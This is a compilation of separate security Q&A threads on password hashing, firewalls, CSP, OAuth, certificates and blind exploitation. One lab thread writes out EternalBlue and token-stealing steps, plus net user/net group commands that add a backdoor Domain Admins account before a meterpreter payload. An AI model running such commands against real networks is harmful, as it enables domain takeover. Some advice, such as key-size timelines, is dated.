It is a pretty mature industry - leave the vendors to do the testing of their signatures. If it passes those checks I listed, that's about all you can ask for.


Password storage which avoids privileged insider attack What are the standard password authentication protocols in client-server setting where authentication happens at the remote server? Is there any password/pin verification protocol which reveals zero knowledge (or a limited amount of knowledge which can keep on changing in subsequent rounds of login) about client's input password, but the server can still authenticate the client? Also, the server should not store enough data about the client's password to lead to any potential insider attack.

To my understanding, storing password in plain text on the server doesn't help. Storing the salted hash doesn't help if the salt is also stored on the server, the comparison can be bypassed in a privileged attack. Also, storing data on the client side is not ideal in case of a lost device/data on the client's side, which will force us to be completely dependent on identification protocols which, to my understanding, is the same as password verification (except for identification protocols which use trusted third parties, but that's not an ideal choice).

A common misconception about salts is that they are a secret. If implemented correctly, it's not very important for the salt to be secret. The point of a salt is to defeat precomputation attacks like rainbow tables, and to make the required time and computational cost of cracking a password as high as possible.

This is an effective mitigation against a malicious privileged insider. If you can make the average time required to break a single password longer than the age of the universe, that will be enough to prevent your insider from cracking a password unless they are astronomically (literally) lucky.

So if your aim is to prevent a malicious privileged insider from accessing any users password, storing a strong salt with the password hash, along with choosing a strong hash, is enough.


I am not connecting to internet, do I still need the windows firewall on? Forgive my ignorance but I am truly uncertain.

Here is my situation:

I have dual booted a Linux distro and Windows 7 on my machine. Windows 7 sole purpose is for gaming, that's all. I'm not planning to get Windows Update nor game patches neither. Network adapters are disabled too. Should I let Windows Firewall ON?

I'll be happy if I can save some processing power when the firewall is off or I'm just over thinking?

Firewalls generally operate at the network layer, if you have no network (you state the network adapters are disabled) there is nothing for the firewall to do, therefore, from a security perspective, turning off the firewall isn't going to be an issue.

Obviously this only holds true while the network adapters are disabled.


Why does Chrome tell me that the CSP 'require-sri-for' directive is implemented behind a flag which is currently disabled? In my Content Security Policy I have included require-sri-for script. However, in the Chrome console I get a notice (not an error, just info):

  The Content-Security-Policy directive 'require-sri-for' is implemented behind a flag which is currently disabled.

As far as I can interpret this, it's telling me that I am trying to require SRI for something that is disabled anyway. For example if I have: script-src 'none' then there would be no point in having require-sri-for script, as all script is disallowed anyway.

However, the notice still shows when I have script-src 'self'.

What is the proper meaning of this notice and what do I need to do to fix it?

Chrome tells you it knows the directive but the browser is currently configured to ignore it, no matter if it would be applied or not.

SRI (Subresource Integrity), as a W3C Recommendation, is from June 2016 but require-sri-for, the Content Security Policy directive, was introduced later in Editor's Draft in August 2016. Drafts are provided for discussion only and may change at any moment. And such experimental features are usually not enabled by default to make room for changes in the implementation, specification, or both.

Whenever Chrome spots the directive in a policy, it will first check whether experimental features are enabled, and will parse the directive and it's value if yes. If experimental features are not enabled it will log the message you're seeing:

  The Content-Security-Policy directive 'require-sri-for' is implemented behind a flag which is currently disabled.

It will report the message even if scripts would be later disabled with script-src 'none', the message is logged into the console early when parsing the directive. You can see it in the source code in the CSPDirectiveList::AddDirective method.

To make the message go away you have two options:

Enable #enable-experimental-web-platform-features in chrome://flags/ (copy this chrome://flags/#enable-experimental-web-platform-features and paste it to your Chrome, restart the browser), and test your policy so that you're ready when require-sri-for gets shipped, however this will make the message go away just for and a very small percentage of users who enabled experimental features in their browsers
Remove require-sri-for from your policy, for example if you don't need it because you're using script-src 'none', and add it back later once you'd like to verify scripts
Wait until Chrome enables the feature for everybody, until then users will see the message in the console even if you're not verifying integrity of loaded scripts

I personally go with option 3, but I've temporarily enabled the flag to see whether the site would work once require-sri-for would ship.


OAuth2 - Obtaining Refresh Tokens Given a valid access token alone (you don't know username+password), should you be able to get a refresh token?

The idea of refresh Tokens is you use them only once - to get a new refresh token and a new Auth token. This way the token to go on was never used before and can only be used once.

https://tools.ietf.org/html/rfc6749#section-1.5

The Authorization Server serves them as a response to the authorization grant, if requested by type. This step can be skipped and you can directly request Auth Tokens. But Auth Tokens are not supposed to be exchanged for other grants.


Stealing tokens from client PC on a domain controller? I'm trying to hack my domain controller lab. I created a lab with 4 PC's and 1 servers (2012 R2). I succeeded in hacking one of the PC's via the EternalBlue exploit.
So when I run whoami i got : NT AUTHORITY\system

When I'm trying to steal the token for process running by domain controller admin :

CDAC/Administrator is for my domain controller .. and I used the following command in metasploit : steal_token PID ... I successfully get the privileges but what I need to do is to add a new user on that domain controller and connect to that user via SMB and dump ntds.dit to get all the hashes for all PC's on the domain.

Can any one explain how to do that please ?

It's solved. I just add another user name and add that user to domain group. Command's I used:

net user heyheyhey password123$ /add /domain
net group "Domain Admins" evilboss /add /domain

And then I connect via rdesktop and I used powershell payload to get meterpreter on domain controller server.


Is it a security issue to use the same self-issued certificate both as a certificate authority and as a server certificate? I'm setting up a site for internal use and it will be served over HTTPS with a self-signed server certificate.
To increase security, I want to also secure the site with client certificates.

Is there any reason to use a separate certificate authority to sign the client certificates instead of just using the server private key I already have to sign them?

When you talk about security, all this self-signed SSL stuff has nothing common with security. In order to implement proper SSL configuration for internal network, you have to:

Create your own CA server (depending on a platform, different products may be used. For example, in Windows you can use Active Directory Certificate Services, in Linux you can use CA software like EJBCA). CA certificate will be self-signed
Provide best security for your CA server: strict physical and remote access to the server.
Distribute self-signed root CA certificate to trust store on all affected clients
Use this CA to issue certificates to clients and web servers
Maintain revocation information for these certificates (CA server will periodically publish CRLs)

The reason is -- separation of concerns and security. Web servier is by default less secure. There are more chances that private key leaks from web server, because you can't guarantee adequate security for it because of web server specialization (be public). With dedicated CA you can provide better security, so less people can access it either, physically or programmatically.

If you lose SSL certificate, you can revoke it and issue a new one. Minimum server reconfiguration is required. No client reconfiguration is required. If you use CA certificate on web server, you will have to recreate every server/client certificate and reconfigure all of them in the case of key compromise.


Should I change the private key when renewing a certificate? My security department insists that I (the system administrator) make a new private key when I want a SSL certificate renewed for our web servers. They claim it's best practice, but my googling attempts have failed to verify their claim. What is the correct way?

The closest I've found is Should I regenerate new SSL private key yearly?, but it doesn't really explain why it would be necessary to change the keys.

I know it's not a big deal to change the keys while I'm at it, but I've never been one to just do what I'm being told without a proper reason or explanation :)

I would say that their suggestion isn't a very solid one, unless you're using horrifically small key sizes - in which case you have a different problem altogether.

A 2048-bit key, by most estimates, will keep you safe until at least the year 2020, if not longer than that. If you're running with 1024-bit keys or less, you're below the standard, and I recommend updating to 2048-bit immediately. If you're currently using 1536-bit keys, you should be safe for a year or two.

Of course, this is all academically speaking. The likelihood of someone being able (or inclined) to crack your 1024-bit SSL key within a year is extremely low.

As mentioned in the question you linked, there are benefits and drawbacks.

Benefits

Gives an attacker less time to crack the key. Somewhat of a moot point if you're using reasonable key sizes anyway.
Halts any evil-doers that may have compromised your private key. Unlikely, but unknown.
Gives you a chance to increase your key size to be ahead of the curve.

Drawbacks

Doesn't really give you any concrete protection against key cracking unless you're using terribly small keys.
SSL checking / anti-MitM plugins for browsers might alert the user that the key has changed. This is, in my opinion, a weak drawback - most users won't be using this.
Might cause temporary warnings in relation to more strict HSTS policies and implementations.
It requires work. You could be doing something else.

So on both sides there are some weak reasons, and some corner-cases you might need to consider. I'd lean slightly towards the "don't do it unless you need to" angle, as long as you're using 2048-bit keys or higher.

The most important thing is to ask them why they think it's necessary - it  may be that you have an infrastructure-related reason for updating the keys which we don't know about. If they can't come up with a solid argument ("why not?" isn't really valid) then they should probaly re-evaluate their advice.


What is the risk of having a 2FA key permanently plugged into my device? Yubico offers the YubiKey Nano, a 2FA key designed to be left inside the device more or less permanently.

While it does add comfort to be able to just leave it plugged in, what risks would there be if the device was stolen with this still attached?

From what I could gather, local device accounts would have the same level of protection as a regular passphrase would provide. Online accounts, depending on the setup, would either have no protection at all (e.g. through a "Remember me on this device" function), or the same protection as a regular passphrase.

Is there anything I am missing?

The threat model for the Nano is protecting accounts from remote access, not from direct access from an approved device. You essentially make the device itself the "thing you have" factor with the benefit that the "thing's" properties cannot be stolen remotely (as is the case for private keys, cookies, etc.).

Convenient? Yes. Easy to add to your grandmother's laptop and everyone to forget about while still maintaining protection? Yes. Easy to lose? No. Are there "more secure" methods? Yes.


Is it possible to develop memory corruption exploits without access to the executable? Mallory has access to a server on the internet. She figures out she can crash it with overly long input. She guesses there is an exploitable buffer overflow. The server software is proprietary and she has no access to the executable. Can she figure out an exploit "blind", without running the server locally in a debugger?

Yes it's possible against services that restart after a crash as shown in the BROP attack described by Bittau et al (http://www.scs.stanford.edu/brop/). In this attack technique a special ROP Chain is used to write the binary from memory to the socket to simplify the construction of the shellcode.

But if this attack type is possible depends on the type of the vulnerability, the availability of gadgets and if they will be re-randomize after a crash (http://calhoun.nps.edu/bitstream/handle/10945/47979/15Dec_Keener_Lawrence.pdf?sequence=1, Chapter 6).

All together with known techniques it is sometimes possible.